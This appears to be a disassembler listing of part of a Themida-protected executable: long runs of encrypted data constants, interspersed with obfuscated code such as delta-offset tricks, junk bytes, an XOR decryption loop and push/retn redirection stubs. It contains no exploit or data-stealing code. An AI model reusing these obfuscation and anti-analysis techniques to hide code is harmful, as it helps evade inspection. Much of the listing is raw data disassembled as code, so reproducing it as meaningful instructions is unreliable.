		dd 9C1130AFh, 89391398h, 6403077Ah, 7DEA2E67h, 55D25651h
		dd 0D9B47833h, 6A76C562h, 468D55E9h, 36656742h,	4F4A4605h
		dd 0D063CC3Fh, 5353F092h, 2E5CCBEFh, 9201BD77h,	59C6BDCBh
		dd 7BF7528h, 0E27992E6h, 3A9EAEE3h, 45CCFF8h, 0ED1C26B6h
		dd 0EA3C98B0h, 0B5D4F3FEh, 2044C0F8h, 8EABE3D2h, 0C04449DCh
		dd 0EAA1A33Ch, 191F8B25h, 97A51569h, 57Fh, 78BCEF1Fh, 6BAFDEEFh
		dd 50D4D1FCh, 3EC2B9D7h, 2BEFA2A1h, 7068CA0h, 0EC19868Ah
		dd 0D6F26DB1h, 0B6C857DBh, 0EB5643C7h, 0E96BFF4Ah, 0D5DF7455h
		dd 6366567h, 24544779h,	1F2E45F2h, 4C4745EDh, 70B4D83Ch
		dd 948916C4h, 0A1106085h, 68080089h, 4938CB49h,	4D000000h
		dd 472F6E37h, 0A37179B2h, 0D3F48BB9h, 0F926A2DAh, 6B43D1CCh
		dd 50DDEE9Ah, 49DC96A2h, 0DC6FC8A3h, 5755E496h,	0A4BCCFF3h
		dd 6AEB38C0h, 4363B13Fh, 0E47A5BE2h, 375EB955h,	0A974F53Bh
		dd 93A418Bh, 3AED9E94h,	0CB000000h, 0E01B6180h,	0DC2CF947h
		dd 0DAF57249h, 0F980BBDFh, 0A7A6D5C8h, 7EDAF2A9h, 0F08FFCB4h
		dd 26A2DAD3h, 0DC5DE1ECh, 4B7D55E4h, 3253CC50h,	0A39407Bh
		dd 13219D97h, 4A7h, 1B618099h, 7D4747E0h, 0D4B849DCh, 0F2A9DBA4h
		dd 98482D9h, 26636EF1h,	0ABB4F002h, 8BD4E49Fh, 91F50580h
		dd 0D3D7896h, 44D73E59h, 0E48D68DBh, 4367EB55h,	46D9309Fh
		dd 80920907h, 3854DD2Ch, 0B2C94D7Dh, 0E48DC675h, 0D5F95D55h
		dd 627979A6h, 96FA4FC8h, 0B8F31592h, 83C91880h,	434E1D88h
		dd 40D23646h, 0F444A155h, 0A6D6BA45h, 809BF221h, 0B622CBF9h
		dd 0DD3515C6h, 1DB24064h, 463D4BEBh, 6AAED236h,	0DAACB1Ah
		dd 41CC613Eh, 9EADD1B5h, 74315C23h, 997B3FBEh, 0BDCB5BE0h
		dd 0EB16F6A5h, 0E1EF388Dh, 0FC3692AAh, 55507B84h, 4746A125h
		dd 0B2D6324Ah, 3AC3C59Ah, 0BBE490AAh, 4BA05D88h, 7211070Bh
		dd 8981A5A3h, 6CC9DBF6h, 4BA01EDDh, 0BECEF256h,	0DFEFA2A1h
		dd 3D056CABh, 52D43B1Ah, 5BB6C5B3h, 728A0304h, 0D5911C16h
		dd 2E518CE6h
		dd 0D695E62Ah, 48CCFCB9h, 0B8F315CAh, 2FD0FF80h, 0C2CE516Eh
		dd 0A5D551C7h, 3450688Ch, 0F315345Bh, 0FD0C74B8h, 47337C8Fh
		dd 0D857B8F1h, 7FFB848Fh, 0A33CDCA6h, 95A5C9EDh, 0B5C5B8CAh
		dd 9A8CE352h, 0A10E3D4Bh, 6DA4B0D5h, 81B0FD6Eh,	2797C70h
		dd 65161A3Eh, 5CB277EFh, 96B22890h, 4367E31Bh, 0A2E81AB1h
		dd 7C933605h, 0A8E5E679h, 0FC403490h, 0ADDFA0D8h, 0D552CDFEh
		dd 797C9366h, 0D1A06BFDh, 84405535h, 9EE69260h,	9702394Fh
		dd 7C8B3B16h, 5ED4B879h, 7A0EC06Dh, 63E76350h, 0B873CA6Bh
		dd 76916350h, 0B30DD31Fh, 52A9B634h, 7000000h, 6FE96180h
		dd 5B98440Eh, 812E5D41h, 49DC1C91h, 0F9B4D695h,	0BBCF45C1h
		dd 0EDD467C0h, 8F2855E4h
		db 0BCh, 0EDh, 0E4h
byte_5DD7AF	db 55h			; DATA XREF: Themida_:0057DBA1o
		dd 1B7F5337h, 0E766C7F7h, 0C755E4EDh, 0D8A7D7C6h, 8B46E7ADh
		dd 855E4EDh, 0ACE8E004h, 7B66ACC3h, 0B765759Ch,	0C78BA90Bh
		dd 129h, 366567EDh, 404A7906h, 0F09254E7h, 476BEF53h, 9C162837h
		dd 0BF1B336Ah, 9210238Ch, 0AF9353F0h, 7900738Bh, 0DC38504Bh
		dd 0EF87B956h, 3793ABE2h, 0E47C0F13h, 297A8B4h,	0C2B34156h
		dd 53F0E8FEh, 604AED0h,	0F71B7F8Fh, 0E092B433h,	3490A8E5h
		dd 0CF445CE2h, 0EC109E41h, 0C8180DFh, 2A9A98FCh, 0B2DE53B2h
		dd 8880FD0Ch, 0B7C4E80Ch, 0DA68DB44h, 67EB53F0h, 0DA78CB54h
		dd 97FB53F0h, 0C985229Dh, 6549DC3Fh, 9A63C9EFh,	3DD06FE5h
		dd 9230E62Eh, 2624C399h, 39FB5F6Fh, 3E3645C9h, 78C8EDDDh
		dd 2FEB29A0h, 0F544E15Ch, 0A555E4CCh, 78DCECA7h, 0BAF20004h
		dd 812E5D2Bh, 4FCB9405h, 9AE11A7Eh, 0C0BBCD6Bh,	0E4284CC8h
		dd 0CE514C7Bh, 6302353Eh, 0E0F4C636h, 70000001h, 4ED95D50h
		dd 23BC403Dh, 3EA96D28h, 16919510h, 0F576BAF7h,	595473C3h
		dd 403D4AD5h, 6C2723BCh, 9E0D3FA8h, 238CFF9Ah, 55E96F10h
		dd 67BC6093h, 76F13568h, 0EA6AAB54h, 96EFC7C3h,	62DDAE72h
		dd 549BB6F7h, 341853F0h, 0F0540635h, 7BB99D53h,	1B6180F1h
		dd 6CD747E0h, 242849DCh, 9CAA9514h, 514855E4h, 9C8AB9E6h
		dd 50955E4h, 89D63C13h,	0F43EBCE7h, 2CF20017h, 8A8BA8DFh
		dd 6E46CFFAh, 0FD091CA5h, 0EB949E82h, 0ADh, 366567C1h
		dd 0B7D69506h, 8FBDC2FAh, 7C60E414h, 0B7EA19B6h, 97A22687h
		dd 8ABC53F0h, 6E900F13h, 0CD9C0F3Fh, 51B5C5C0h,	6E1AEBC3h
		dd 731ED05Dh, 73D749DCh, 4236D7AFh, 0DE8BEC49h,	0D8BC4FCBh
		dd 7C2030A3h, 0FD985775h, 0F716C54Fh, 284C3F41h, 252497E4h
		dd 0D2616823h, 515FDA46h, 0D004F31Fh, 0E327661h, 45385704h
		dd 2933CC2h, 0C6D44463h, 0DFh, 0D85C4F7Fh, 0CB4F3E4Fh
		dd 0B074315Ch, 9E621937h, 8B8F0201h, 67662C00h,	4C79E62Ah
		dd 3652CD51h, 1628B77Bh, 8BF6A367h, 0E96C1F2Ah,	0B57F9455h
		dd 0F1356867h, 0D5595476h, 3665671Fh, 0B54B4605h, 0C0F81C97h
		dd 61FECE44h, 491F2C5Fh, 0E7490AE8h, 48434500h,	62B0D430h
		dd 493FCEB6h, 0D7EBF532h, 0B6049DAh, 0EADA9FAAh, 0C301455h
		dd 2A6163FCh, 544779E6h, 0D71E8524h, 6AC54E21h,	39C2C403h
		dd 0D2FFDDDDh, 1EF145DBh, 0E78084A8h, 0B7404DE5h, 50519B64h
		dd 0FB1F0385h, 0B8E550C3h, 58A52E89h, 0A8F5060Ah, 58A52E99h
		dd 2FFC361Ah, 0F5526A21h, 0AED0EF06h, 0ACD30F0Dh, 0CDF12828h
		dd 57E243BEh, 0EC58A5C3h, 71EEAA68h, 0BF2C5C4Fh, 0DEEE9FA0h
		dd 8AEB87Ah, 0C4000000h, 0DDD8F48Bh, 67415357h,	7B043467h
		dd 253A5249h, 15E6E29h,	0EE718904h, 0D5AAA2DFh,	0BCC3FBB6h
		dd 98E7178Eh, 4718306Dh, 1F275746h, 81E28952h, 4C2h, 4EA8100h
		dd 87000000h, 895C2414h, 8956241Ch, 4C681E6h, 83000000h
		dd 348704EEh, 1C895C24h, 0E6895624h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 51242C89h, 0F396BB53h,	0D9890619h, 59CB895Bh
		dd 242C8B54h, 4C481h, 0B9510000h, 8, 3B2E981h, 0E9012936h
		dd 3B2C181h, 19892936h,	242C8B59h, 81E78957h, 4C7h, 4C78100h
		dd 87000000h, 0FF5C243Ch, 835B2434h, 35E904C4h,	0CDFFFA81h
		dd 76166CC3h, 17F5E43h,	0FF1CB8BFh, 0C5030619h,	0B4CCE0FFh
		dd 435E001Fh, 0E1725721h, 1B544D17h, 59EC6719h,	0DEA37C01h
		dd 0F3B15673h, 5BF751B6h, 2BC43E6h, 866B4A25h, 0C55F4C8Dh
		dd 75835B71h, 8B694D9Ch, 17C355A1h, 0CA685229h,	26572EF3h
		dd 855B6463h, 7C164650h, 0E05B7927h, 0ADC77117h, 62823F9h
		dd 0C1706B6Bh, 1E971133h, 6987894h, 0D0C4264h, 0E33E5841h
		dd 0F5C61669h, 8F446E23h, 4FCA69EEh, 97C03980h,	5F26552Ah
		dd 8F640835h, 24EB2D05h, 9 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DDCC2
; ---------------------------------------------------------------------------
		mov	[ebp+61A0040h],	esi
		mov	eax, [ebp+61401CDh]
		mov	eax, [ebp+6140229h]
		lea	esi, [ebp+61A008Ah]
		lea	eax, [ebp+6174134h]
		call	eax
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61A0090h
		cmp	dword ptr [ebp+61401CDh], 1
		jnz	loc_5DDC6C
		push	dword ptr [ebp+61A0040h]
		mov	eax, [ebp+6140229h]
		xor	eax, 34812736h
		call	eax
		cmp	al, 1
		jnz	loc_5DDC65
		mov	eax, 1
		jmp	loc_5DDCAC
; ---------------------------------------------------------------------------


loc_5DDC65:				; CODE XREF: Themida_:005DDC55j
		xor	eax, eax
		jmp	loc_5DDCAC
; ---------------------------------------------------------------------------


loc_5DDC6C:				; CODE XREF: Themida_:005DDC3Aj
		push	1Ch
		lea	esi, [ebp+61A0044h]
		push	esi
		push	dword ptr [ebp+61A0040h]
		mov	eax, [ebp+6140229h]
		xor	eax, 34812736h
		call	eax
		add	esp, 0Ch
		lea	esi, [ebp+61A0044h]
		mov	eax, [esi+14h]
		and	eax, 4
		cmp	eax, 4
		jz	loc_5DDCA7
		xor	eax, eax
		jmp	loc_5DDCAC
; ---------------------------------------------------------------------------


loc_5DDCA7:				; CODE XREF: Themida_:005DDC9Aj
		mov	eax, 1


loc_5DDCAC:				; CODE XREF: Themida_:005DDC60j
					; Themida_:005DDC67j ...
		cmp	dword ptr [ebp+61401CDh], 1
		jnz	loc_5DDCC0
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5DDCC2
; ---------------------------------------------------------------------------


loc_5DDCC0:				; CODE XREF: Themida_:005DDCB3j
		pop	ebp
		iret
; ---------------------------------------------------------------------------


loc_5DDCC2:				; CODE XREF: Themida_:005DDC00j
					; Themida_:005DDCBBj
		lea	eax, [ebp+61A0069h]
		mov	[ebp+6141C55h],	eax
		call	sub_5DDCDD
		cmps	dword ptr fs:[esi], dword ptr es:[edi]
		push	ss
		iret
; ---------------------------------------------------------------------------
		db 28h
		dd 50689648h
; ---------------------------------------------------------------------------
		pop	ebx

; =============== S U B	R O U T	I N E =======================================



sub_5DDCDD	proc near		; CODE XREF: Themida_:005DDCCEp
		xor	edi, 704E01D6h
		pop	edx
		mov	si, 83C6h
		add	edx, 5D50h
		push	esi
		pop	eax
		push	172Ah
		pop	ecx
		sbb	si, 2A1h


loc_5DDCFB:				; CODE XREF: sub_5DDCDD+99j
		mov	ebx, [edx]
		pusha
		mov	edi, edx
		jmp	loc_5DDD0C
; ---------------------------------------------------------------------------
		db 0C5h, 0E8h, 48h
; ---------------------------------------------------------------------------
		setalc
		push	eax
		stc
		pop	edx


loc_5DDD0C:				; CODE XREF: sub_5DDCDD+23j
		popa
		xor	ebx, 6655A45h
		jmp	loc_5DDD26
; ---------------------------------------------------------------------------
		xor	eax, 1384DC65h
		rcl	dword ptr [edx], 1
		mov	al, ch
		mov	ch, 0D0h
		xor	ebp, edx


loc_5DDD26:				; CODE XREF: sub_5DDCDD+36j
		xor	ebx, 31111EF6h
		mov	eax, ebx
		add	ebx, 19521D46h
		jmp	loc_5DDD40
; ---------------------------------------------------------------------------
		align 2
		dw 93Dh
		dd 0D0046D68h
; ---------------------------------------------------------------------------


loc_5DDD40:				; CODE XREF: sub_5DDCDD+57j
		push	ebx
		jno	loc_5DDD49
		mov	edi, edx


loc_5DDD49:				; CODE XREF: sub_5DDCDD+64j
		pop	dword ptr [edx]
		jmp	loc_5DDD62
; ---------------------------------------------------------------------------
		dd 19721548h, 3EF43FDh,	55E08388h, 1280C743h
; ---------------------------------------------------------------------------
		sti
		dec	ebp


loc_5DDD62:				; CODE XREF: sub_5DDCDD+6Ej
		sub	edx, 177871E1h
		add	edx, 177871DDh
		jnz	loc_5DDD75
		cld


loc_5DDD75:				; CODE XREF: sub_5DDCDD+91j
		dec	ecx
		jnz	loc_5DDCFB
		mov	ax, bx
		lea	ecx, [ebp+61A02C7h]
		push	0
		push	ecx
		call	sub_5DDD90
		and	[ecx-3Dh], bl
sub_5DDCDD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5DDD90	proc near		; CODE XREF: sub_5DDCDD+ABp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5DDD90	endp

; ---------------------------------------------------------------------------
		aad	97h
		cmpsd
		xchg	eax, ebx
		cmp	[edx+1], dh
		mov	ch, 3Dh
		db	26h
		adc	al, 6
		mov	[ebp+6142B69h],	ecx
		push	0
		push	edx
		call	sub_5DDDBD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DDDBD	proc near		; CODE XREF: Themida_:005DDDB5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5DDDBD	endp

; ---------------------------------------------------------------------------
		or	ch, [ecx-75h]
		retn	85C7h
; ---------------------------------------------------------------------------
		db 55h
		dd 0E4061410h, 6A000063h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 5203C353h, 7E9h, 0A99F2200h
		dd 8B9B9378h, 13D85C7h,	614h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 4EAAB7C3h
		dd 0AE9h, 654F0700h, 0A618536Eh, 0FF2A8C72h, 142501B5h
		dd 0C9BE5006h, 5F33BA38h, 2800Fh, 0D88B0000h, 0BD995FFh
		dd 8D890614h, 614346Dh,	95FF006Ah, 6142971h, 7DEBC08Bh
		dd 3C326768h, 11FB06A5h, 0E403AB59h, 0C93890B7h, 0D950F6C7h
		dd 606EE056h, 755817C7h, 155EB967h, 8EF50E28h, 4891666Eh
		dd 5ACBDED9h, 1C9D9E58h, 65BDE20Ah, 1DFD5BD4h, 0F5C62168h
		dd 8C937BD6h, 24CE0375h, 0A427B90Eh, 59FAE40h, 9C36F1D9h
		dd 21FFE7A4h, 2E0C2833h, 64E8813Ch, 0EB6A2A88h,	66B13023h
		dd 812ECB22h, 0A08E4FEAh, 0F00D8BCEh, 0EBA2B1B4h, 0D8485A5Bh
		dd 62BFBACFh, 0F28D8D11h, 81061A03h, 377948CBh,	698D8964h
		dd 0C706142Bh, 14105585h, 700406h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 24692AF1h
		dd 1BA19589h, 85C70614h, 614013Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5DDF3B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DDF3B	proc near		; CODE XREF: Themida_:005DDF33p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5DDF3B	endp

; ---------------------------------------------------------------------------
		sbb	[ebp+31h], edi
		pop	eax
		mov	edi, 6A096F0h
		adc	dh, 8Ch
		push	dword ptr [ebp+6140061h]
		jg	loc_5DDF78
		jmp	loc_5DDF78
; ---------------------------------------------------------------------------
		dd 3CD4881Eh, 7DDD9667h, 2A62AE2Dh, 0F8B8B7FCh
; ---------------------------------------------------------------------------


loc_5DDF78:				; CODE XREF: Themida_:005DDF5Dj
					; Themida_:005DDF63j
		call	dword ptr [ebp+6140BD9h]
		sub	[ebp+6141E75h],	esi
		mov	ax, cx
		push	0
		call	dword ptr [ebp+6142971h]
		mov	eax, eax
		jmp	short loc_5DE001
; ---------------------------------------------------------------------------
		db 0B1h
		dd 94E50295h, 56BDED60h, 85BD42ACh, 30A947E0h, 3829DE87h
		dd 13DB93B8h, 0DCDC9DDEh, 5F0641EDh, 391406B4h,	85A922CCh
		dd 0E1A13BD4h, 7ACF98F0h, 22E7F1D8h, 0BBF92342h, 3FABB545h
		dd 218C9F1Fh, 0FB09AEC2h, 0E5CC2AD2h, 0AD4EABFEh, 566C03F3h
		dd 6A46BDDDh, 0C65F885Fh, 0DD5CF6ABh, 0E49939BBh, 5B3B06E5h
		dd 45FE770Ah, 0D86C1DAh
		db 3Dh
; ---------------------------------------------------------------------------


loc_5DE001:				; CODE XREF: Themida_:005DDF91j
		jmp	loc_5DE030
; ---------------------------------------------------------------------------
		dw 25ECh
		dd 6666h, 253h,	8 dup(0)
; ---------------------------------------------------------------------------


loc_5DE030:				; CODE XREF: Themida_:loc_5DE001j
		jmp	loc_5DEC3B
; ---------------------------------------------------------------------------
		push	61A066Dh
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61A0764h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61A0904h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61A09D7h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61A0A82h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61A0C29h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61A0CABh
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61A0E10h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		push	61A0EF4h
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		db 95h
		dd 37B5E241h, 0CA1A49E0h, 6FFD2A87h, 444F32Eh, 0C12C5BD4h
		dd 0A6F95B04h, 29DF371h, 0D54497D5h, 0B3F02EBEh, 0D3EB6A04h
		dd 398185EDh, 663CA1B5h, 1582FB38h, 81E8CEF4h, 0CEB83367h
		dd 217EDC4Ah, 42938DF2h, 26516BEFh, 11225825h, 0B1357392h
		dd 6E85EC7h, 96397B92h,	1874E942h, 6C0065BAh, 7258F728h
		dd 953981DCh, 3EF5BAC1h, 0F5128D54h, 7B99E7CDh,	0B6339939h
		dd 6DABD531h, 4DE16113h, 65h, 31172F4Ch, 71397BECh, 8A368387h
		dd 25A2F6D9h, 0DC0EB8F3h, 3669AF71h, 14351D4Fh,	739029EEh
		dd 0B1E3B935h, 0B8ADFE52h, 0A5E75E88h, 0BA9C120Bh, 80397B8Fh
		dd 4249B989h, 0CDA9C9EBh, 838DA145h, 0AE765C62h, 5A0A397Bh
		dd 3556D710h, 29295B72h, 54CAA8C5h, 197BA58Dh, 9A137886h
		dd 0CD61E1A3h, 0CAh, 0FB386660h, 71AAEA82h, 8D22700Ch
		dd 0C6CB3B98h, 898A0237h, 0C6D9A65Ch, 965AE896h, 15E09C1Eh
		dd 75DD0FAEh, 9F346BABh, 67E38AA7h, 0FE0BFB33h,	2186DA47h
		dd 5AB866E2h, 0D80AA9E9h, 73F5C7Dh, 33685821h, 0A98FF761h
		dd 0F9336858h, 0B4340B0Fh, 0D04CC966h, 1A2B2F80h, 9FFEFDAEh
		dd 74707E67h, 0E031EF35h, 0A557C54Dh, 8A31010Eh, 0C7FD3A3Ch
		dd 0F2ADDFBBh, 0BA6E94F1h, 4E3B8546h, 2D6FB19Ch, 0D50745F2h
		dd 0DC023D5Ah, 0B12426A8h, 96E61h, 68C70B00h, 3766AD3Bh
		dd 900D4080h, 79B4E563h, 0C15ABACAh, 0D18E4F92h, 69F72C7Fh
		dd 0D5B8823h, 0A42453CAh, 0D48A3976h, 87674D75h, 333B3981h
		dd 0E536664Eh, 43E03E4Eh, 0D98A8714h, 7E437BDAh, 435738Fh
		dd 6C9E1346h, 8F9F81F9h, 0ACEF397Bh, 70A20151h,	0A11C730Dh
		dd 9B823C6Fh, 0EA340A88h, 7B8FEED4h, 96C0B239h,	0ABB0860Ah
		dd 8D542106h, 0C5B6h, 87993B00h, 0A17FDB56h, 354B3271h
		dd 5DD548E3h, 33678640h, 0E41390CEh, 9CF93664h,	8561477Fh
		dd 0B7213367h, 536B2D3h, 16FF0706h, 8735739Dh, 82C124B7h
		dd 3868DD4Eh, 6E6A6E8Ch, 114630EAh, 0E0F0C3Fh, 43DE3FE1h
		dd 0FD50AEDAh, 0FFA0A0A0h, 703B85CAh, 0ED6BF982h, 60E091AAh
		dd 0A37DD88Ah, 0C15F3E71h, 0C037138Ah, 42285E7Fh, 52336A3Eh
		dd 0AC5EA801h, 811A7AA4h, 0A8A55D42h, 0A674E126h, 877h
		dd 2453D002h, 893E6FA4h, 6C9B167Bh, 3360BD1Ch, 9BC863B5h
		dd 88C89750h, 2C60E017h, 0D30444F3h, 7FDF2D5Ah,	7ADBF320h
		dd 81885E44h, 47CA2239h, 98E53666h, 9B68FBAAh, 2121F245h
		dd 0E3409EEEh, 386667B4h, 6251EF9h, 1446E09Ah, 0A0FF5F31h
		dd 0BE6E1973h, 6879A288h, 0D20CFE33h, 8F324B73h, 6F03574h
		dd 9211411Fh, 0C3FB1865h, 397C70DDh, 0D14FCBA5h, 0C33B2281h
		dd 0BA369202h, 0A8D96D95h, 4E9E356Ah, 34AA9310h, 0B4BA4D53h
		dd 0C1A4FB5Bh, 4D306FAFh, 5B96A802h, 7988DE34h,	12284919h
		dd 0B4BA4D2Ch, 0BCA29A74h, 0C4B4BA4Dh, 3D4BF82Ah, 7EDF46DDh
		dd 4D432951h, 0AD5FB4BAh, 0A5ADFC5Fh, 0EB4B909Dh, 42DF3E4Dh
		dd 5E447ADBh, 22B214B4h, 0B4E52AB0h, 12248ED1h,	0A2C3CCDFh
		dd 14B4B69Ch, 3818CAB2h, 5383C294h, 0D1039CF0h,	0CFF38674h
		dd 0FE84BCFBh, 8DF02D60h, 44847BDFh, 24A49916h,	0F50D080Bh
		dd 0B4217478h, 55C41709h, 164D3FEDh, 0F826093Ah, 636C5268h
		dd 5A34AC21h, 679FFE28h, 0AE2D634Ah, 0AF271EC8h, 0B21564CEh
		dd 3365BB92h, 43C785F8h, 2F7C87DFh, 0E905EE12h,	437h, 819A800Ch
		dd 25153367h, 88C97035h, 0C4703015h, 0F80ECF8Bh, 3367F612h
		dd 3C42FC6Eh, 0A3E144D9h, 6BD9FA7h, 0EE3E3368h,	0EF1773B0h
		dd 3367E8F5h, 837D4886h, 0B3BC4FC5h, 419FC960h,	0FBA99C0Fh
		dd 7985679Fh, 4AE53368h, 4CFE3565h, 0A2C4B9C1h,	0CCBE3574h
		dd 968F9887h, 9B3BAA20h, 6D7h, 44F33062h, 295ECF04h, 8C3B76DBh
		dd 53801D7Ch, 3B68C315h, 0E82877B0h, 8CC000B7h,	3364E413h
		dd 0DF3F4DFAh, 1A7B1340h, 818AFEE4h, 27AA8239h,	12283866h
		dd 3367812Ch, 3206CC56h, 27B1C603h, 0B5221BB5h,	93F72A6Bh
		dd 40CDCE79h, 0D1351B23h, 914D3367h, 0CFEB906h,	92F620E8h
		dd 7DD24A6Bh, 9C1C242Ch, 0D3357D8Ch, 56B9084Dh,	0F0B095C7h
		dd 0BBE89A90h, 0A78DB5D2h, 0FB398184h, 0FB9F425h, 8412F80Eh
		dd 0FC6E3981h, 71F12D94h, 5B78C5C6h, 17F9F1EBh,	6DD5A929h
		dd 8E1EBC55h, 8E8C7E3Bh, 155A9336h, 6B44F79Ch, 0FD588A25h
		dd 0E3238CC5h, 0E95C0EE4h, 4ACBC87Bh, 0EF5B9434h, 0EF6E18DEh
		dd 1542E131h, 0EB2887D7h, 773BC8D2h, 4F12194h, 0B1000006h
		dd 5391C65Dh, 0F676ADFCh, 8BD90EA3h, 20A0D74Ah,	0E508BFF0h
		dd 9A154718h, 66B91F6Dh, 0C960B331h, 970C4A9Ah,	0B7CF4E60h
		dd 39818AD1h, 8AD05DD1h, 5A7BDAD9h, 67813E24h, 0B0904233h
		dd 97587189h, 28DA3573h, 0CA3F32Dh, 0D6EF6B19h,	62DB5886h
		dd 0DA57EF13h, 8AABAAA9h, 7B988E74h, 0E0601239h, 0AEA8C1F9h
		dd 0F86A3B87h, 81F9DB4Bh, 7D633367h, 0E5336781h, 0AFCC494Ah
		dd 0EC3D9E8Eh, 67819278h, 147CEE33h, 7D866CECh,	1F06F035h
		dd 8185C0A7h, 0ADEF3139h, 0DFEE1672h, 6FD2B283h, 1053F02Fh
		dd 0F22CC567h, 5595383h, 0B2E40000h, 5186C67Dh,	0F85DABD8h
		dd 9FFE0EA5h, 4597D502h, 0F532BDEAh, 82316AAAh,	669D0E42h
		dd 0CF64B5E6h, 95C261B1h, 7C6298F9h, 439818Bh, 0D98AAD10h
		dd 0C3437BDAh, 4F357D85h, 86D4A89Dh, 0D286FA29h, 2C059AFBh
		dd 755630F7h, 9BC9BCEEh, 0A11EEC69h, 89207328h,	0D6B8D494h
		dd 0CBFA5E1Dh, 99CE65B5h, 0B1940B4Bh, 15FB0320h, 6D39827Bh
		dd 7B341A20h, 924C3982h, 0D806E060h, 57BBE25Bh,	1390CEFFh
		dd 447A9BE4h, 39827B5Eh, 6CD0B022h, 8D5B0D3Fh, 15BF9h
		dd 0D98A7C00h, 0C6437BDAh, 0BF3573ABh, 8AF32A61h, 36A07ADEh
		dd 0F95ECE4Fh, 8B8FBDA0h, 7BAB977Bh, 6AFCD639h,	868784B7h
		dd 87D60380h, 70DD8F3Bh, 0ED9D1382h, 26C676ADh,	79CE4AC9h
		dd 1174ABEBh, 53801F7Fh, 31614EF9h, 0F12380DEh,	0AFC0C647h
		dd 533573B2h, 6446BCA1h, 6A397BB1h, 264B90A6h, 968D545Fh
		dd 4Ah,	4278991Bh, 3367815Ch, 0BCCE4A24h, 336CAC83h, 35988481h
		dd 43C785F8h, 8F5F245Ah, 0F1633573h, 8F34168Ch,	133A397Bh
		dd 607BB823h, 0F85DE71Fh, 5680C0A5h, 0F3F84EF2h, 8D5491BEh
		dd 0ACFF55CBh, 0A6A2FF5Eh, 0A232h, 3866A700h, 0AAEA82FBh
		dd 22700C71h, 96C4988Dh, 2ACE3C19h, 9F70A4A5h, 7FE75838h
		dd 3367C062h, 2B1EE2Ch,	1F7E7D2Eh, 8CE600FEh, 9A2076FCh
		dd 0CD7FE63Bh, 408FB793h, 42357206h, 296BB590h,	0EFC41F6h
		dd 4E074D47h, 0A70112A2h, 414D47F7h, 2577B191h,	0EE004D8Ah
		dd 93022094h, 3B243h, 940B4F00h, 73AAE17Fh, 0DC5184C4h
		dd 0A5F859A7h, 0D9EFE0Eh, 154A8BD6h, 0AD3B68C3h, 419F3467h
		dd 18689F0Eh, 10CE65BAh, 8D230931h, 0F77F3981h,	0E536660Ah
		dd 43E03E4Eh, 0E4DB2B14h, 0D30204F1h, 66E36EEAh, 0EA82FB38h
		dd 0D3C077ACh, 67019E80h, 1260833h, 0E99A3368h,	0D3536BEAh
		dd 5F357E05h, 0A2DC4F81h, 94C25ABBh, 1E7A261Fh,	0D5B0B3ECh
		dd 8E11ECADh, 0C70CFE3Bh, 269CDA90h, 30F32392h,	0CD000003h
		dd 6FFD2A89h, 242F128h,	0A72552CFh, 7C8C3B76h, 954831Ch
		dd 0EE4193CCh, 4AE52BB9h, 1D8CCF1Dh, 0FB3866E6h, 8BB3924Ch
		dd 39818DA5h, 66F479FDh, 0EA82FB38h, 7F87A4ACh,	33678199h
		dd 21077FE9h, 61336781h, 322E45F7h
		dd 1D030201h, 0FD1C64B7h, 7392B4C5h, 0C1A45635h, 7B916749h
		dd 7247539h, 7B9119FFh,	9BFF6939h, 57145FF7h, 0C18D543Fh
		dd 4Eh,	0F6D98A54h, 571508A1h, 5D225825h, 6535738Fh, 3505928Bh
		dd 0E41332A9h, 5489669h, 93F7B5A8h, 7C0F9173h, 807E5F39h
		dd 868B58D7h, 5CC0408Eh, 0B318040Ah, 753A1E7Ah,	278D542Bh
		dd 0EEh, 8DD306E6h, 7B968F75h, 37611339h, 87998653h, 0AE78D857h
		dd 324A3370h, 0B8D449E2h, 0CF21C75Ah, 0B53A194Fh, 6BB5221Bh
		dd 3B72D924h, 6CD40642h, 0E61C64B2h, 3367CF00h,	9FDED480h
		dd 0C3F8C2Ch, 1373A0D2h, 336860F6h, 96CD62B0h, 0B2AB0856h
		dd 7060536h, 7484EEFFh,	8BCE9C35h, 0EF7D2F16h, 0AEC577AAh
		dd 6DAE81B2h, 7B83823Ch, 3B862232h, 79A7A650h, 0C865A817h
		dd 59CC5DB2h, 809CF92Bh, 3B69DC51h, 483D70A5h, 46C73818h
		dd 0DD3B2159h, 97473369h, 36C5843Bh, 0F40AA492h, 6A160FA0h
		dd 4FE030EEh, 0A869C708h, 2CEA5B26h, 1CBh, 588F2476h, 3D6AC308h
		dd 80376AAFh, 679C1140h, 0CF64B719h, 0DC3C63ACh, 80D41443h
		dd 2768F82Fh, 0D30341F6h, 1677275Ch, 81900AF0h,	139E9639h
		dd 4EE53666h, 2D6FE03Eh, 0AFD98BF2h, 8799BB78h,	2464D950h
